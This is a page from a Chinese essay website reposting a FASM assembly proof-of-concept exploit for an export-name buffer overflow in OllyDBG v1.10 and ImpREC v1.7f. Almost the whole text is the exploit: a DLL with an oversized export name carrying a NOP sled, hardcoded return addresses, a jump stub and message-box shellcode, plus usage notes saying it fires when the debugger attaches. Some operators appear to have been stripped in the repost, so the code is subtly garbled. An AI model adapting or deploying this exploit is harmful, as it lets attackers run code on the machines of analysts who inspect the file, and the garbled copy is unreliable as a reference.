• 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
  • 当前位置: 山茶花美文网 > 英语文章 > 正文

    OllyDBG,v1.10,and,ImpREC,v1.7f,(export,name),BOF,PoC:export-f

    时间:2020-02-18来源:山茶花美文网 本文已影响 山茶花美文网手机站

    ;-------------------------------------------------------------------------;

    ; OllyDBG v1.10 and ImpREC v1.7f export name buffer overflow vulnerability

    ; PoC (probably older versions affected too, not tested though.)

    ;

    ; Included shellcode shows a messagebox (WinXP SP2) and is configured for

    ; OllyDBG. See lines 60-105 for more details

    ;-------------------------------------------------------------------------;

    ; Usage:

    ; Load this DLL to your process and try to attach OllyDBG or ImpREC

    ; to it -> Shellcode executed >:)

    ;

    ; Shellcode gets fired also if program is run under OllyDBG.

    ;

    ; Bug discovered and PoC coded by:

    ; ~ Defsanguje, Defsanguje [at] gmail [dot] com [July 7 2008]

    ;-------------------------------------------------------------------------;

    ; Coded in FASM

    ;-------------------------------------------------------------------------;

    format PE GUI 4.0 DLL

    include "win32a.inc"

    entry DllEntryPoint

    section ".code" code readable executable

    proc DllEntryPoint, hinstDLL,fdwReason,lpvReserved

    mov eax, TRUE

    ret

    endp

    ;-------------------------------------------------------------------------;

    ; Modified version from original export-macro.

    ;-------------------------------------------------------------------------;

    macro ExportExploit dllname,[label]

    { common

    local module,addresses,names,ordinal,count

    count = 0

    forward

    count = count 1

    common

    dd 0,0,0,RVA module,1

    dd count,count,RVA addresses,RVA names,RVA ordinal

    addresses:

    forward

    dd RVA label

    common

    names:

    forward

    local name

    dd RVA name

    common

    ordinal: count = 0

    forward

    dw count

    count = count 1

    common

    module db dllname,0

    forward

    ;-------------------------------------------------------------------------;

    ; Exploit for OllyDBG v1.10

    ;-------------------------------------------------------------------------;

    a: name

    db 3e0h dup (90h)

    dd 6d553b78h ; ESP to EBP

    dd 6d55e5ffh ; EBP to EAX

    dd 0defdefdeh

    dd 0defdefdeh

    dd 6d56d25eh ; add eax, 40h

    dd 0defdefdeh

    dd 6d52e1efh ; jmp EAX =)

    db 40h-18h dup(90h)

    c: push eax

    mov eax, (ShellCodeStart-c) xor 0defdefdeh

    xor eax, 0defdefdeh

    add eax, [esp]

    jmp eax

    b: db 0bd0h - (ShellCodeEnd-ShellCodeStart) - (b-a) dup (90h)

    ShellCodeStart:

    db 81h,0ECh,07Dh,0FFh,0FFh,0FFh

    db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh

    db 8Ah,05h,45h,7Eh ; Address of messagebox in winxp sp2

    db 0FFh,0D3h

    ShellCodeEnd:

    dd 0045F823h ; New EIP

    db 300h dup(90h)

    db 0

    ;-------------------------------------------------------------------------;

    ; Exploit for ImpREC v1.7f

    ;-------------------------------------------------------------------------;

    ; name

    ; db 0C0Ch - (ShellCodeEnd-ShellCodeStart) dup (90h)

    ;ShellCodeStart:

    ; db 81h,0ECh,07Dh,0FFh,0FFh,0FFh

    ; db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh

    ; db 8Ah,05h,45h,7Eh ; Address of messagebox in winxp sp2

    ; db 0FFh,0D3h

    ;ShellCodeEnd:

    ; dd 12c1b8h ; New EIP

    ; db 0

    ;-------------------------------------------------------------------------;

    common

    local x,y,z,str1,str2,v1,v2

    x = count shr 1

    while x > 0

    y = x

    while y < count

    z = y

    while z-x >= 0

    load v1 dword from names z*4

    str1=($-RVA $) v1

    load v2 dword from names (z-x)*4

    str2=($-RVA $) v2

    while v1 > 0

    load v1 from str1 %-1

    load v2 from str2 %-1

    if v1 <> v2

    break

    end if

    end while

    if v1<v2

    load v1 dword from names z*4

    load v2 dword from names (z-x)*4

    store dword v1 at names (z-x)*4

    store dword v2 at names z*4

    load v1 word from ordinal z*2

    load v2 word from ordinal (z-x)*2

    store word v1 at ordinal (z-x)*2

    store word v2 at ordinal z*2

    else

    break

    end if

    z = z-x

    end while

    y = y 1

    end while

    x = x shr 1

    end while }

    section ".edata" export data readable

    ;-------------------------------------------------------------------------;

    ; Call the macro

    ;-------------------------------------------------------------------------;

    ExportExploit "exploit.dll",

    $

    ;-------------------------------------------------------------------------;

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全